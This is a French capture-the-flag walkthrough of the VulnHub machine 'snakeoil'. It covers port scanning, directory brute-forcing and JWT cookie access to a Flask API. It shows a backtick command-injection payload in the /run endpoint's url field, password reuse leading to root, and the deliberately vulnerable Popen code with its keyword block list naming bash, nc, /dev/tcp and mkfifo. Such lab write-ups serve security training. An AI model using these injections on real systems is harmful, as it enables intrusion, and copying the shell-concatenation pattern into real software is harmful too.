digitalworld.local: snakeoil est un autre CTF proposé par Donavan et récupérable sur la plateforme VulnHub.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -sCV -T5 -p- 192.168.56.123
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 17:01 CET
Nmap scan report for 192.168.56.123
Host is up (0.00012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 73a48f94a22068505aaee1d3608dff55 (RSA)
| 256 f31bd8c30c3f5e6bac9952807bd6b6e7 (ECDSA)
|_ 256 ea6164b63bd3840150d81aab382912e1 (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Welcome to SNAKEOIL!
|_http-server-header: nginx/1.14.2
8080/tcp open http nginx 1.14.2
|_http-title: Welcome to Good Tech Inc.'s Snake Oil Project
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:F4:2D:F9 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds
Le port 80 ne semble rien contenir d’intéressant après une bonne grosse énumération avec la wordlist de DirBuster.
Le port 8080 qui a tout l’air d’une appli Python + Flask dispose de différents endpoints :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ feroxbuster -u http://192.168.56.123:8080/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.4.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.56.123:8080/
🚀 Threads │ 50
📖 Wordlist │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.4.0
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
405 1l 10w 64c http://192.168.56.123:8080/login
200 1l 2w 17c http://192.168.56.123:8080/test
200 47l 125w 2193c http://192.168.56.123:8080/1
200 1l 5w 140c http://192.168.56.123:8080/users
200 51l 151w 2356c http://192.168.56.123:8080/2
200 71l 170w 2882c http://192.168.56.123:8080/
200 1l 3w 29c http://192.168.56.123:8080/registration
200 45l 139w 2324c http://192.168.56.123:8080/4
200 47l 125w 2193c http://192.168.56.123:8080/01
200 51l 151w 2356c http://192.168.56.123:8080/02
200 45l 139w 2324c http://192.168.56.123:8080/04
200 61l 147w 2596c http://192.168.56.123:8080/create
500 1l 4w 37c http://192.168.56.123:8080/secret
405 4l 23w 178c http://192.168.56.123:8080/run
200 47l 125w 2193c http://192.168.56.123:8080/001
200 51l 151w 2356c http://192.168.56.123:8080/002
200 47l 125w 2193c http://192.168.56.123:8080/0001
200 45l 139w 2324c http://192.168.56.123:8080/004
200 51l 151w 2356c http://192.168.56.123:8080/0002
200 45l 139w 2324c http://192.168.56.123:8080/0004
200 47l 125w 2193c http://192.168.56.123:8080/000001
[####################] - 3m 119601/119601 0s found:21 errors:0
[####################] - 3m 119601/119601 542/s http://192.168.56.123:8080/
Curly
On va utiliser cURL pour questionner les différentes URLs.
1
2
$ curl http://192.168.56.123:8080/users
{"users": [{"username": "patrick", "password": "$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040"}]}
Ce hash ne semble pas destiné à être cassé au vu du chiffrement utilisé (29000 itérations de pbkdf2-sha256 si je lis correctement).
J’ai toutefois lancé JtR dessus au cas où, avant de laisser tomber.
J’ai ensuite jeté mon dévolu sur le script de login :
1
2
3
4
5
6
7
8
9
10
$ curl http://192.168.56.123:8080/login
{"message": "The method is not allowed for the requested URL."}
$ curl -XPOST http://192.168.56.123:8080/login
{"message": {"username": "Username field cannot be blank."}}
$ curl -XPOST http://192.168.56.123:8080/login --data "username=patrick"
{"message": {"password": "Password field cannot be blank."}}
$ curl -XPOST http://192.168.56.123:8080/login --data "username=patrick&password=test"
{"message": "Wrong credentials"}
$ curl -XPOST http://192.168.56.123:8080/login --data "username=a&password=test"
{"message": "User a doesn't exist"}
Au vu de la réponse spécifique quand l’utilisateur n’existe pas, j’ai tenté de brute-forcer les noms, mais seul patrick en est ressorti.
L’URL /run attend elle aussi des données soumises via POST.
1
2
$ curl -XPOST http://192.168.56.123:8080/run
{"message":"Please provide URL to request in the form url:port. Example: 127.0.0.1:12345","success":false}
J’ai débord tenté de trouver un paramètre valide avec la soumission standard (comprendre x-www-form-urlencoded) :
1
ffuf -X POST -u 'http://192.168.56.123:8080/run' -d 'FUZZ=192.168.56.1:9999' -H 'Content-Type: application/x-www-form-urlencoded' -w wordlists/common_query_parameter_names.txt -fr "Please provide URL"
Finalement en JSON c’est accepté, mais il faut disposer aussi d’une clé secrète :
1
2
$ curl -XPOST http://192.168.56.123:8080/run -H "Content-Type: application/json" -d '{"url": "192.168.56.1:9999"}'
{"message":"We need your secret key!","success":false}
Le nom du paramètre était relativement simple à trouver :
1
2
$ curl -XPOST http://192.168.56.123:8080/run -H "Content-Type: application/json" -d '{"url": "192.168.56.1:9999", "secret_key": "toto"}'
{"message":"Wrong secret key! Alert will be raised!","success":false}
J’ai ensuite passé pas mal de temps à trouver ce que je devais passer pour secret_key. Bien sûr, je me rappelais l’existence de l’endpoint /secret mais je ne savais pas comment y accéder ni pourquoi il retournait un statut 500.
Finalement, c’était assez logique : il fallait créer un compte via /registration, puis se connecter via /login :
1
2
3
4
$ curl -XPOST http://192.168.56.123:8080/registration --data "username=devloop&password=devloop"
{"message": "User devloop was created. Please use the login API to log in!", "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY3ODY5ODYxMywianRpIjoiNGE1MTIwNWItNTI5MS00MzBkLTkyNDMtYzE2N2NkNjhkYWI5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmxvb3AiLCJuYmYiOjE2Nzg2OTg2MTMsImV4cCI6MTY3ODY5OTUxM30.hTSQloDLWqb3O77kjpX5bl9fpTchedpx4znE6J79_Wk"}
$ curl -XPOST http://192.168.56.123:8080/login --data "username=devloop&password=devloop"
{"message": "Logged in as devloop", "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY3ODY5ODc0OSwianRpIjoiMGNmMGY5MWUtNDc0OC00ZjUwLWFmODQtZjlhOTllMjgzOTdmIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmxvb3AiLCJuYmYiOjE2Nzg2OTg3NDksImV4cCI6MTY3ODY5OTY0OX0.CRxrykSkdFSRNRd24rAbXxPg5bGAXr7ypkJFuI11cAY", "refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY3ODY5ODc0OSwianRpIjoiZGI1Mjc0NTItMGJmYS00ODRjLWI3MTQtMGY3MDVmOGRlZTM0IiwidHlwZSI6InJlZnJlc2giLCJzdWIiOiJkZXZsb29wIiwibmJmIjoxNjc4Njk4NzQ5LCJleHAiOjE2Nzg3MDIzNDl9.YlvrWgLYV51gCE8v50He1bDHGmsBYnwMqTwn7XA7nAE"}
On pouvait alors questionner l’endpoint /secret. On disposait d’un indice dans l’un des posts du blog (l’appli Flask est grosso modo un blog) via une URL qui mentionnait différentes solutions d’authentification (Configuration Options flask-jwt-extended 4.4.4 documentation). Après quelques essais, c’était l’authentification par cookie qu’il fallait utiliser :
1
2
$ curl http://192.168.56.123:8080/secret -H "Cookie: access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY3ODcwNzMzOCwianRpIjoiMzk2NWMxMWYtOTljYy00OWUyLTgzNTYtOGZjNmM2MGZjMWZhIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmxvb3AiLCJuYmYiOjE2Nzg3MDczMzgsImV4cCI6MTY3ODcwODIzOH0.R1UKwM6-8Z-xIGmpTBeZy5y5TZmtvzj1IFqtnuSf1zw;"
{"ip-address": "", "secret_key": "commandexecutionissecret"}
Il fallait aussi que le token soit assez frais. J’ai dû re-procéder à une authentification.
Injection de commande
On peut finalement questionner l’endpoint /run :
1
2
$ curl -XPOST http://192.168.56.123:8080/run -H "Content-Type: application/json" -d '{"url": "192.168.56.1:9999", "secret_key": "commandexecutionissecret"}'
{"message":" % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r100 20 100 20 0 0 6666 0 --:--:-- --:--:-- --:--:-- 6666\n","success":false}
Cela génère une requête cURL dont on peut capturer la requête :
1
2
3
4
GET / HTTP/1.1
Host: 192.168.56.1:9999
User-Agent: curl/7.64.0
Accept: */*
Après avoir testé l’hypothèse que le script download un fichier puis l’exécute ou l’interprète (langage bash, python, php), c’est finalement l’essai d’une injection de commande qui a fonctionné :
1
2
$ curl -XPOST http://192.168.56.123:8080/run -H "Content-Type: application/json" -d '{"url": "192.168.56.1:9999`id`", "secret_key": "commandexecutionissecret"}'
{"message":"curl: (3) URL using bad/illegal format or missing URL\n --- snip --- Could not resolve host: groups=33(www-data),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)\n","success":false}
L’API semble avoir un filtre pour bloquer l’utilisation de nc mais les autres commandes telles que wget, chmod peuvent être injectées. C’est suffisant pour uploader une backdoor et récupérer un accès.
Password reuse
L’appli tournait avec l’utilisateur patrick :
1
2
3
4
5
patrick@SNAKEOIL:/home/patrick/flask_blog$ ls
__pycache__ app.py flask_blog flaskapi init_db.py models.py requirements.txt schema.sql templates wsgi.py
app.db database.db flask_blog.sock hello.py library.db output.txt resources.py static views.py
patrick@SNAKEOIL:/home/patrick/flask_blog$ id
uid=1000(patrick) gid=33(www-data) groups=33(www-data),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner)
On trouve deux mots de passe dans la config Flask (app.py) :
1
2
3
4
5
6
7
8
9
10
11
12
app = Flask(__name__)
api = Api(app)
app.config['SECRET_KEY'] = 'snakeoilisnotgoodforcorporations'
app.config['JWT_COOKIE_SECURE'] = True
app.config['JWT_SECRET_KEY'] = 'NOreasonableDOUBTthisPASSWORDisGOOD'
app.config['JWT_ACCESS_TOKEN_EXPIRES'] = timedelta(minutes=15)
app.config['JWT_REFRESH_TOKEN_EXPIRES'] = timedelta(hours=1)
app.config['JWT_TOKEN_LOCATION'] = ['cookies']
app.config['JWT_COOKIE_CSRF_PROTECT'] = False # development setting!
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///app.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
Le second mot de passe est aussi celui du compte Unix. Et l’utilisateur peut exécuter n’importe quelle commande en tant que root si le mot de passe est saisi :
1
2
3
4
5
6
7
patrick@SNAKEOIL:/home/patrick/flask_blog$ sudo su
[sudo] password for patrick:
root@SNAKEOIL:/home/patrick/flask_blog# cd /root
root@SNAKEOIL:~# ls
proof.txt sudoers.bak
root@SNAKEOIL:~# cat proof.txt
Congratulations on obtaining a root shell on this machine! :-)
How it works
Voici juste un extrait de l’appli Flask pour l’endpoint /run :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# backdoor. dangerous!
@app.route("/run", methods=["POST"])
def backdoor():
req_json = request.get_json()
if req_json is None or "url" not in req_json:
abort(400, description="Please provide URL to request in the form url:port. Example: 127.0.0.1:12345")
if "secret_key" not in req_json:
abort(400, description="We need your secret key!")
if req_json["secret_key"] != "commandexecutionissecret":
abort(400, description="Wrong secret key! Alert will be raised!")
# write some validation rules to stop shell commands
if "bash" in req_json["url"]:
abort(400, description="Banned command!")
if "python" in req_json["url"]:
abort(400, description="Banned command!")
if "/dev/tcp" in req_json["url"]:
abort(400, description="Banned command!")
if "nc" in req_json["url"]:
abort(400, description="Banned command!")
if "mkfifo" in req_json["url"]:
abort(400, description="Banned command!")
if "php" in req_json["url"]:
abort(400, description="Banned command!")
# if the command is allowed, run it because it is probably safe.
proc = Popen("/usr/bin/curl " + req_json["url"] + " > output.txt", stdout=PIPE, stderr=PIPE, shell=True)
try:
outs, errs = proc.communicate(timeout=1)
except TimeoutExpired:
proc.kill()
abort(500, description="The timeout is expired!")
if errs:
abort(500, description=errs.decode('utf-8'))
return jsonify(success=True, message=outs.decode('utf-8'))
C’est assez rare de devoir jouer avec une API sur un CTF mais je trouve ça assez réaliste. L’autre CTF que je connais qui s’en rapprochait était le CTF SP: Alphonse